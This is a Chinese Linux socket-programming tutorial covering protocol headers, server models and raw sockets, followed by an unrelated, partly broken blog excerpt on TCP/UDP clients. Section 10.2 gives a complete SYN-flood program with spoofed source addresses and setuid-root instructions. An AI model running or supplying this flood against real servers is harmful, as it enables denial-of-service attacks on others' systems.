    IP协议是在网络层的协议.它主要完成数据包的发送作用. 下面这个表是IP4的数据包格式

    0 4 8 16 32 
    -------------------------------------------------- 
    |版本 |首部长度|服务类型| 数据包总长 | 
    -------------------------------------------------- 
    | 标识 |DF |MF| 碎片偏移 | 
    -------------------------------------------------- 
    | 生存时间 | 协议 | 首部较验和 | 
    ------------------------------------------------ 
    | 源IP地址 | 
    ------------------------------------------------ 
    | 目的IP地址 | 
    ------------------------------------------------- 
    | 选项 | 
    ================================================= 
    | 数据 | 
    -------------------------------------------------

    下面我们看一看IP的结构定义

    struct ip 

    #if __BYTE_ORDER == __LITTLE_ENDIAN 
    unsigned int ip_hl:4; /* header length */ 
    unsigned int ip_v:4; /* version */ 
    #endif 
    #if __BYTE_ORDER == __BIG_ENDIAN 
    unsigned int ip_v:4; /* version */ 
    unsigned int ip_hl:4; /* header length */ 
    #endif 
    u_int8_t ip_tos; /* type of service */ 
    u_short ip_len; /* total length */ 
    u_short ip_id; /* identification */ 
    u_short ip_off; /* fragment offset field */ 
    #define IP_RF 0x8000 /* reserved fragment flag */ 
    #define IP_DF 0x4000 /* dont fragment flag */ 
    #define IP_MF 0x2000 /* more fragments flag */ 
    #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ 
    u_int8_t ip_ttl; /* time to live */ 
    u_int8_t ip_p; /* protocol */ 
    u_short ip_sum; /* checksum */ 
    struct in_addr ip_src, ip_dst; /* source and dest address */ 
    };

    ip_vIP协议的版本号,这里是4,现在IPV6已经出来了

    ip_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,如果IP包没有选项,那么这个值为5.

    ip_tos服务类型,说明提供的优先权.

    ip_len说明IP数据的长度.以字节为单位.

    ip_id标识这个IP数据包.

    ip_off碎片偏移,这和上面ID一起用来重组碎片的.

    ip_ttl生存时间.没经过一个路由的时候减一,直到为0时被抛弃.

    ip_p协议,表示创建这个IP数据包的高层协议.如TCP,UDP协议.

    ip_sum首部校验和,提供对首部数据的校验.

    ip_src,ip_dst发送者和接收者的IP地址

    关于IP协议的详细情况,请参考 RFC791

    7.3 ICMP协议 
    ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,如果发生了错误,那么就会用ICMP协议来报告错误.

    ICMP包的结构如下:

    0 8 16 32 
    --------------------------------------------------------------------- 
    | 类型 | 代码 | 校验和 | 
    -------------------------------------------------------------------- 
    | 数据 | 数据 | 
    --------------------------------------------------------------------

    ICMP在中的定义是 
    struct icmphdr 

    u_int8_t type; /* message type */ 
    u_int8_t code; /* type sub-code */ 
    u_int16_t checksum; 
    union 

    struct 

    u_int16_t id; 
    u_int16_t sequence; 
    } echo; /* echo datagram */ 
    u_int32_t gateway; /* gateway address */ 
    struct 

    u_int16_t __unused; 
    u_int16_t mtu; 
    } frag; /* path mtu discovery */ 
    } un; 
    };

    关于ICMP协议的详细情况可以查看 RFC792

    7.4 UDP协议 
    UDP协议是建立在IP协议基础之上的,用在传输层的协议.UDP和IP协议一样是不可靠的数据报服务.UDP的头格式为:


    0 16 32 
    --------------------------------------------------- 
    | UDP源端口 | UDP目的端口 | 
    --------------------------------------------------- 
    | UDP数据报长度 | UDP数据报校验 | 
    ---------------------------------------------------

    UDP结构在中的定义为: 
    struct udphdr { 
    u_int16_t source; 
    u_int16_t dest; 
    u_int16_t len; 
    u_int16_t check; 
    };

    关于UDP协议的详细情况,请参考 RFC768 
    7.5 TCP 
    TCP协议也是建立在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结构比前面的结构都要复杂.

    0 4 8 10 16 24 32 
    ------------------------------------------------------------------- 
    | 源端口 | 目的端口 | 
    ------------------------------------------------------------------- 
    | 序列号 | 
    ------------------------------------------------------------------ 
    | 确认号 | 
    ------------------------------------------------------------------ 
    | | |U|A|P|S|F| | 
    |首部长度| 保留 |R|C|S|Y|I| 窗口 | 
    | | |G|K|H|N|N| | 
    ----------------------------------------------------------------- 
    | 校验和 | 紧急指针 | 
    ----------------------------------------------------------------- 
    | 选项 | 填充字节 | 
    -----------------------------------------------------------------

    TCP的结构在中定义为: 
    struct tcphdr 

    u_int16_t source; 
    u_int16_t dest; 
    u_int32_t seq; 
    u_int32_t ack_seq; 
    #if __BYTE_ORDER == __LITTLE_ENDIAN 
    u_int16_t res1:4; 
    u_int16_t doff:4; 
    u_int16_t fin:1; 
    u_int16_t syn:1; 
    u_int16_t rst:1; 
    u_int16_t psh:1; 
    u_int16_t ack:1; 
    u_int16_t urg:1; 
    u_int16_t res2:2; 
    #elif __BYTE_ORDER == __BIG_ENDIAN 
    u_int16_t doff:4; 
    u_int16_t res1:4; 
    u_int16_t res2:2; 
    u_int16_t urg:1; 
    u_int16_t ack:1; 
    u_int16_t psh:1; 
    u_int16_t rst:1; 
    u_int16_t syn:1; 
    u_int16_t fin:1; 
    #endif 
    u_int16_t window; 
    u_int16_t check; 
    u_int16_t urg_prt; 
    };

    source发送TCP数据的源端口 
    dest接受TCP数据的目的端口

    seq标识该TCP所包含的数据字节的开始序列号

    ack_seq确认序列号,表示接受方下一次接受的数据序列号.

    doff数据首部长度.和IP协议一样,以4字节为单位.一般的时候为5

    urg如果设置紧急数据指针,则该位为1

    ack如果确认号正确,那么为1

    psh如果设置为1,那么接收方收到数据后,立即交给上一层程序

    rst为1的时候,表示请求重新连接

    syn为1的时候,表示请求建立连接

    fin为1的时候,表示亲戚关闭连接

    window窗口,告诉接收者可以接收的大小

    check对TCP数据进行较核

    urg_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值

    关于TCP协议的详细情况,请查看 RFC793


    7.6 TCP连接的建立 
    TCP协议是一种可靠的连接,为了保证连接的可靠性,TCP的连接要分为几个步骤.我们把这个连接过程称为"三次握手".

    下面我们从一个实例来分析建立连接的过程.

    第一步客户机向服务器发送一个TCP数据包,表示请求建立连接. 为此,客户端将数据包的SYN位设置为1,并且设置序列号seq=1000(我们假设为1000).

    第 二步服务器收到了数据包,并从SYN位为1知道这是一个建立请求的连接.于是服务器也向客户端发送一个TCP数据包.因为是响应客户机的请求,于是服务器 设置ACK为1,sak_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为2000).

    第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接.

    最后一步服务器受到确认信息,也完成连接.

    通过上面几个步骤,一个TCP连接就建立了.当然在建立过程中可能出现错误,不过TCP协议可以保证自己去处理错误的.


    说一说其中的一种错误. 
    听说过DOS吗?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击者用的就是DOS(拒绝式服务)方式.概括的说一下原理. 
    客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP连接,客户机应该进行第三个步骤. 
    不 过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自己的IP地址,就是说将一个实际上不存在的IP填充在自己IP数据包的发 送者的IP一栏.这样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务务端会在那边一直等待,直到超时. 
    这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再接收客户机的请求. 
    这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.于是就出现了春节时所出现的情况.
    8. 套接字选项 
    有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.


    8.1 getsockopt和setsockopt

    int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen) 
    int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)

    level指定控制套接字的层次.可以取三种值: 1)SOL_SOCKET:通用套接字选项. 2)IPPROTO_IP:IP选项. 3)IPPROTO_TCP:TCP选项. 
    optname指定控制的方式(选项的名称),我们下面详细解释

    optval获得或者是设置套接字选项.根据选项名称的数据类型进行转换


    选项名称 说明 数据类型 
    ======================================================================== 
    SOL_SOCKET 
    ------------------------------------------------------------------------ 
    SO_BROADCAST 允许发送广播数据 int 
    SO_DEBUG 允许调试 int 
    SO_DONTROUTE 不查找路由 int 
    SO_ERROR 获得套接字错误 int 
    SO_KEEPALIVE 保持连接 int 
    SO_LINGER 延迟关闭连接 struct linger 
    SO_OOBINLINE 带外数据放入正常数据流 int 
    SO_RCVBUF 接收缓冲区大小 int 
    SO_SNDBUF 发送缓冲区大小 int 
    SO_RCVLOWAT 接收缓冲区下限 int 
    SO_SNDLOWAT 发送缓冲区下限 int 
    SO_RCVTIMEO 接收超时 struct timeval 
    SO_SNDTIMEO 发送超时 struct timeval 
    SO_REUSERADDR 允许重用本地地址和端口 int 
    SO_TYPE 获得套接字类型 int 
    SO_BSDCOMPAT 与BSD系统兼容 int 
    ========================================================================== 
    IPPROTO_IP 
    -------------------------------------------------------------------------- 
    IP_HDRINCL 在数据包中包含IP首部 int 
    IP_OPTINOS IP首部选项 int 
    IP_TOS 服务类型 
    IP_TTL 生存时间 int 
    ========================================================================== 
    IPPRO_TCP 
    -------------------------------------------------------------------------- 
    TCP_MAXSEG TCP最大数据段的大小 int 
    TCP_NODELAY 不使用Nagle算法 int 
    =========================================================================

    关于这些选项的详细情况请查看 Linux Programmers Manual

    8.2 ioctl 
    ioctl可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项.

    int ioctl(int fd,int req,...)

    ========================================================================== 
    ioctl的控制选项 
    -------------------------------------------------------------------------- 
    SIOCATMARK 是否到达带外标记 int 
    FIOASYNC 异步输入/输出标志 int 
    FIONREAD 缓冲区可读的字节数 int

    详细的选项请用 man ioctl_list 查看.

    9. 服务器模型 
    学 习过《软件工程》吧.软件工程可是每一个程序员"必修"的课程啊.如果你没有学习过, 建议你去看一看. 在这一章里面,我们一起来从软件工程的角度学习网络编程的思想.在我们写程序之前, 我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理客户机的请求, 对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器模型.

    循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求

    并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求


    9.1 循环服务器:UDP服务器 
    UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机.

    可以用下面的算法来实现.

    socket(...); 
    bind(...); 
    while(1) 

    recvfrom(...); 
    process(...); 
    sendto(...); 
    }

    因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足. 
    9.2 循环服务器:TCP服务器 
    TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.

    算法如下:

    socket(...); 
    bind(...); 
    listen(...); 
    while(1) 

    accept(...); 
    while(1) 

    read(...); 
    process(...); 
    write(...); 

    close(...); 
    }

    TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的.

    9.3 并发服务器:TCP服务器 
    为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理.

    算法如下:

    socket(...); 
    bind(...); 
    listen(...); 
    while(1) 

    accept(...); 
    if(fork(..)==0) 

    while(1) 

    read(...); 
    process(...); 
    write(...); 

    close(...); 
    exit(...); 

    close(...); 
    }

    TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.

    9.4 并发服务器:多路复用I/O 
    为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.

    首先介绍一个函数select

    int select(int nfds,fd_set *readfds,fd_set *writefds, 
    fd_set *except fds,struct timeval *timeout) 
    void FD_SET(int fd,fd_set *fdset) 
    void FD_CLR(int fd,fd_set *fdset) 
    void FD_ZERO(fd_set *fdset) 
    int FD_ISSET(int fd,fd_set *fdset)

    一 般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件可以读写的时候select回"通知"我们 说可以读写了. readfds所有要读的文件文件描述符的集合 
    writefds所有要的写文件文件描述符的集合

    exceptfds其他的服要向我们通知的文件描述符

    timeout超时设置.

    nfds所有我们监控的文件描述符中最大的那一个加1

    在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文件可以写.3)超时所设置的时间到.

    为了设置文件描述符我们要使用几个宏. FD_SET将fd加入到fdset

    FD_CLR将fd从fdset里面清除

    FD_ZERO从fdset中清除所有的文件描述符

    FD_ISSET判断fd是否在fdset集合中

    使用select的一个例子

    int use_select(int *readfd,int n) 

    fd_set my_readfd; 
    int maxfd; 
    int i;

    maxfd=readfd[0]; 
    for(i=1;i if(readfd>maxfd) maxfd=readfd
    while(1) 

    /* 将所有的文件描述符加入 */ 
    FD_ZERO(&my_readfd); 
    for(i=0;i FD_SET(readfd,*my_readfd); 
    /* 进程阻塞 */ 
    select(maxfd+1,& my_readfd,NULL,NULL,NULL); 
    /* 有东西可以读了 */ 
    for(i=0;i if(FD_ISSET(readfd,&my_readfd)) 

    /* 原来是我可以读了 */ 
    we_read(readfd); 


    }

    使用select后我们的服务器程序就变成了.


    初始话(socket,bind,listen);

    while(1) 

    设置监听读写文件描述符(FD_*);

    调用select;

    如果是倾听套接字就绪,说明一个新的连接请求建立 

    建立连接(accept); 
    加入到监听文件描述符中去; 

    否则说明是一个已经连接过的描述符 

    进行操作(read或者write); 
    }

    }

    多路复用I/O可以解决资源限制的问题.着模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久.

    9.5 并发服务器:UDP服务器 
    人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建一个子进程来处理的 算法和并发的TCP模型一样.

    除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.


    9.6 一个并发TCP服务器实例

    #include 
    #include 
    #include 
    #include 
    #include 
    #define MY_PORT 8888

    int main(int argc ,char **argv) 

    int listen_fd,accept_fd; 
    struct sockaddr_in client_addr; 
    int n;

    if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0) 

    printf("Socket Error:%s/n/a",strerror(errno)); 
    exit(1); 
    }

    bzero(&client_addr,sizeof(struct sockaddr_in)); 
    client_addr.sin_family=AF_INET; 
    client_addr.sin_port=htons(MY_PORT); 
    client_addr.sin_addr.s_addr=htonl(INADDR_ANY); 
    n=1; 
    /* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间 */ 
    setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int)); 
    if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0) 

    printf("Bind Error:%s/n/a",strerror(errno)); 
    exit(1); 

    listen(listen_fd,5); 
    while(1) 

    accept_fd=accept(listen_fd,NULL,NULL); 
    if((accept_fd<0)&&(errno==EINTR)) 
    continue; 
    else if(accept_fd<0) 

    printf("Accept Error:%s/n/a",strerror(errno)); 
    continue; 

    if((n=fork())==0) 

    /* 子进程处理客户端的连接 */ 
    char buffer[1024];

    close(listen_fd); 
    n=read(accept_fd,buffer,1024); 
    write(accept_fd,buffer,n); 
    close(accept_fd); 
    exit(0); 

    else if(n<0) 
    printf("Fork Error:%s/n/a",strerror(errno)); 
    close(accept_fd); 

    }

    你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试

    10. 原始套接字 
    我 们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建.

    10.1 原始套接字的创建

    int sockfd(AF_INET,SOCK_RAW,protocol)

    可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用

    10.2 一个原始套接字的实例 
    还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

    /******************** DOS.c *****************/ 
    #include <sys/socket.h> 
    #include <netinet/in.h> 
    #include <netinet/ip.h> 
    #include <netinet/tcp.h> 
    #include <stdlib.h> 
    #include <errno.h> 
    #include <unistd.h> 
    #include <stdio.h> 
    #include <netdb.h>

    #define DESTPORT 80 /* 要攻击的端口(WEB) */ 
    #define LOCALPORT 8888

    void send_tcp(int sockfd,struct sockaddr_in *addr); 
    unsigned short check_sum(unsigned short *addr,int len);

    int main(int argc,char **argv) 

    int sockfd; 
    struct sockaddr_in addr; 
    struct hostent *host; 
    int on=1;

    if(argc!=2) 

    fprintf(stderr,"Usage:%s hostname/n/a",argv[0]); 
    exit(1); 
    }

    bzero(&addr,sizeof(struct sockaddr_in)); 
    addr.sin_family=AF_INET; 
    addr.sin_port=htons(DESTPORT);

    if(inet_aton(argv[1],&addr.sin_addr)==0) 

    host=gethostbyname(argv[1]); 
    if(host==NULL) 

    fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno)); 
    exit(1); 

    addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 
    }

    /**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

    sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
    if(sockfd<0) 

    fprintf(stderr,"Socket Error:%s/n/a",strerror(errno)); 
    exit(1); 

    /******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

    setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

    /**** 没有办法,只用超级护用户才可以使用原始套接字 *********/ 
    setuid(getpid());

    /********* 发送炸弹了!!!! ****/ 
    send_tcp(sockfd,&addr); 
    }

    /******* 发送炸弹的实现 *********/ 
    void send_tcp(int sockfd,struct sockaddr_in *addr) 

    char buffer[100]; /**** 用来放置我们的数据包 ****/ 
    struct ip *ip; 
    struct tcphdr *tcp; 
    int head_len;

    /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/

    head_len=sizeof(struct ip)+sizeof(struct tcphdr);

    bzero(buffer,100);

    /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ 
    ip=(struct ip *)buffer; 
    ip->ip_v=IPVERSION; /** 版本一般的是 4 **/ 
    ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/ 
    ip->ip_tos=0; /** 服务类型 **/ 
    ip->ip_len=htons(head_len); /** IP数据包的长度 **/ 
    ip->ip_id=0; /** 让系统去填写吧 **/ 
    ip->ip_off=0; /** 和上面一样,省点时间 **/ 
    ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/ 
    ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/ 
    ip->ip_sum=0; /** 校验和让系统去做 **/ 
    ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/

    /******* 开始填写TCP数据包 *****/ 
    tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 
    tcp->source=htons(LOCALPORT); 
    tcp->dest=addr->sin_port; /** 目的端口 **/ 
    tcp->seq=random(); 
    tcp->ack_seq=0; 
    tcp->doff=5; 
    tcp->syn=1; /** 我要建立连接 **/ 
    tcp->check=0;


    /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ 
    while(1) 

    /** 你不知道我是从那里来的,慢慢的去等吧! **/ 
    ip->ip_src.s_addr=random();

    /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ 
    /** 下面这条可有可无 */ 
    tcp->check=check_sum((unsigned short *)tcp, 
    sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); 

    }

    /* 下面是首部校验和的算法,偷了别人的 */ 

    /*书上说,校验原理:所有16位字相加,然后对和取反,但是下面的代码,好像不止这些*/

    unsigned short check_sum(unsigned short *addr,int len) 

    register int nleft=len; 
    register int sum=0; 
    register short *w=addr; 
    short answer=0;

    while(nleft>1) 

    sum+=*w++; 
    nleft-=2; 

    if(nleft==1) 

    *(unsigned char *)(&answer)=*(unsigned char *)w; 
    sum+=answer; 
    }

    sum=(sum>>16)+(sum&0xffff); 
    sum+=(sum>>16); 
    answer=~sum; 
    return(answer); 
    }

    编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位

    [root@hoyt /root]#chown root DOS 
    [root@hoyt /root]#chmod +s DOS


    10.3 总结 
    原 始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统 来创建的.


    11. 后记 
    总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.

    如 果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.

    看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的.

    不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人!

    相信一点:

    别人可以做到的我们一样可以做到,而且可以比别人做的更好!

    勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的!


    hoyt

    11.1 参考资料 
    <<实用UNIX编程>>---机械工业出版社.

    <>--清华大学出版社. 
    展开全文
  • 之间在网上看到很多网络编程都是一个一个demo,今天我把之前学到的汇总起来,希望大家可以进行补充。 线程中我使用过两种方式编程,一种是经典函数式编程加上标志位,如下: while(1) { server_init(); ...

    之间在网上看到很多网络编程都是一个一个demo,今天我把之前学到的汇总起来,希望大家可以进行补充。
    我理解的网络通信分为4种
    1,udp客户端
    2,udp服务端
    3,tcp客户端
    4,tcp服务端

    线程中我使用过两种方式编程,一种是经典函数式编程加上标志位,如下:

    
    while(1)
    {
    		server_init();
    		client_init();
    		sock_send();
    		select_handler();
    }
    
    
    

    其中各函数里面放置了大量的标志位,如下:

    void client_init(void)
    {
    	  //确认客户端初始化标志位
    	  //
    }
    void sock_send(void)
    {
    		//判断客户端标志位,成功则继续进行
    		if(client_init_flag)
    		{
    				//发送操作
    				//确认客户端发送标志位
    		}
    }
    
    void select_handler(void)
    {
    		if(send_flag)
    		{
    				//处理数据并接受可以用select
    		}
    }
    

    这种方式,我觉得在看代码的时候很乱,但是他在大量的通信时还比较友好,可以建立一个结构体数组,每个数组成员代表一个客户端,结构体放置client_init_flag和send_flag。
    还有一种方式采用的是状态机编程

    创建枚举
    typedef enum client_statues_t
    {
    		init_flag_status,
    		send_flag_status,
    }client_statues_t;
    client_statues_t client_statues;
    
    while(1)
    {
    		//先接受,后发送
    		switch(client_statues)
    		{
    			 case init_flag_status:
    			 		client_init();
    			 		break;
    			 case send_flag_status:
    			 		sock_send();
    			 		break; 	
    			 。。。
    			 	
    		}
    
    }
    

    状态机在单片机使用很常见,但是如果多客户端初始化与发送,容易搞混,并且个人觉得增删查改略费劲,有可能是我自己水平有限,所以今天只写了一个关于第一种方式的代码。因为标志位太多了,而且各种判断比较乱,所以以下就没有各种标志位,但真正项目中是要有的并且还需要有打印日志功能(printf函数),整体思路如下:

    >>创建udp服务端,创建tcp服务端
    >>创建udp客户端,创建tcp客户端
    			>>发送数据
    						>>接受数据并处理
    			
    

    首先是udp服务端,创建tcp服务端,服务端程序比客户端较简单

    //返回值为是否成功标志,需要在各行赋值代码中判断,此代码不进行演示
    //create_udpServer()、create_tcpServer()参数可以为全局变量的关于服务器端的结构体,结构体里端口号,初始化标志位,等等,此代码不进行演示
    
    struct sockaddr_in udp_sockServer;
    void create_udpServer(void)
    {
    		udp_socket = socket(AF_INET, SOCK_DGRAM,0);
    		//INADDR_ANY,
    		udp_sockServer.sin_addr.s_addr = htonl(INADDR_ANY);
    		udp_sockServer.sin_port = htons(udp_port);//port自己设置
    		udp_sockServer.sin_family = AF_INET;
    		bind(udp_socket, (struct sockaddr *)&udp_sockServer, sizeof(struct sockaddr_in));
    
    }
    struct sockaddr_in tcp_sockServer;
    void create_tcpServer(void)
    {
    		tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
    		tcp_sockServer.sin_addr.s_addr = htonl(INADDR_ANY);
    		tcp_sockServer.sin_port = htons(tcp_podt);//port自己设置
    		tcp_sockServer.sin_family = AF_INET;
    		bind(tcp_socket, (struct sockaddr *)&tcp_sockServer, sizeof(struct sockaddr_in));
    		listen(tcp_socket, n);//n自己设置
    }
    void server_init(void)
    {
    		create_udpServer();
    		create_tcpServer();
    }
    

    其次是创建tcp和udp的客户端

    //返回值为是否成功标志,需要在各行赋值代码中判断,此代码不进行演示
    //create_tcpClient()、create_udpClient(v)参数可以为全局变量的关于客户端的结构体,要连接服务器的结构体信息,初始化标志位,等等,此代码不进行演示
    struct sockaddr_in  tcpServer;
    void create_tcpClient(void)
    {
    		tcpSock = socket(AF_INET, SOCK_STREAM, 0);
    		//客户端需要知道服务端信息
    		tcpServer.sin_addr.s_addr = htonl(ip);//ip自己设置
    		tcpServer.sin_port = htons(tcpPort);//port自己设置
    		tcpServer.sin_family = AF_INET;
     	   /*	设置setsockopt参数 ,具体请看我之间发的一篇blog
    		*https://blog.csdn.net/qq_32166779/article/details/88853435
    		*/
    		
    }
    /*把connect单独写是因为这个步骤比较特殊,他是阻塞函数,需要有一定的延时,有两种方、法,一种是利用setsockopt:https://blog.csdn.net/qq_32166779/article/details/88853435
    一种是利用select检查socket描述符:http://blog.csdn.net/ast_224/article/details/2957294
    */
    void tcpClient_connectServer(void)
    {
            //这个tcpsock和create_tcpClient函数中是同一个
    		connect(tcpSock, (struct sockaddr *)&tcpServer, sizeof(struct sockaddr_in));
    }
    
    struct sockaddr_in  udpServer;
    void create_udpClient(void)
    {
    		udpSock = socket(AF_INET, SOCK_DGRAM, 0);
    		udpServer.sin_addr.s_addr = htonl(pUDP->ip);
    	    udpServer.sin_port = htons(pUDP->udpPort);
    	    udpServer.sin_family = AF_INET;
    }
    
    void client_init(void)
    {
    		create_tcpClient();
    		tcpClient_connectServer();
    		create_udpClient();
    }
    
    
    

    udp 服务器接受与发送函数,这个只设置能接受一个客户端发数

    //udp先接受客户端的数据,然后发送数据
    void udp_server_recviveandsend(void)
    {
    				/*
    		参数udp_socket为 建立udp服务端的
    		*/
    		recvfrom(udp_socket, rxBuf, rxbuf_len, 0,(struct sockaddr *)&sockClient, &(sizeof(struct sockaddr_in)));
    		
    		sendto(udp_socket , txBuf, txbuf_len, 0, (struct sockaddr *)&sockClient,sizeof(struct      sockaddr_in));
    
    }
     
    

    //tcp客户端发数与接受

    void udp_server_recviveandsend(void)
    {
    	    /*tcpSock为建立*/
    		send(tcpSock , txbuf, len, 0);
    		recv(tcpSock , rxbuf, len, 0);
    		
    }
    

    //tcp服务端是最难的,需要考虑客户端的ip,个数限制,并根据每个客户端进行通信,这里需要设置一个结构体数组,

    typedef struct tcp_accept_t
    {
    	int lifeNum;//用来设置socket存在时间
    	int socket;//
    	ulong ip;  //保存客户端ip
    	ushort port;//保存客户端端口号
    	int len;
    }tcp_accept_t;
    #define num 100//定义最大接受客户端的数量,
    tcp_accept_t tcp_accept[num];
    
    

    tcp接受客户端大体思路是这样想的:
    1,利用select先获取accept之前的套接字
    2,当accept响应,建立新套接字
    3,有了新套接字,利用select获取receive的响应
    4,如果新来客户端总数超过num,则放弃最早的客户端

     create_tcpServer();
     struct sockaddr_in sockClient;
    while(1)
    {
    		/*先*/
    		int  		socketMax=-1;
    		fd_set 	fdSockSet;
    		int    		fd_act;
    		struct timeval timeout;
    
    		FD_ZERO(&fdSockSet);
    		//tcp_sockServer与create_tcpServer()一致
    		if(tcp_sockServer>0)
    		{
    				FD_SET(tcp_sockServer, &fdSockSet);
    				if(socketMax < tcp_sockServer) {socketMax = tcp_sockServer};
    		}
    		for(int i = 0; i<num;i++)
    		{
    				if(tcp_accept[i].socket>0)
    				{
    						FD_SET(tcp_accept[i].socket, &fdSockSet);
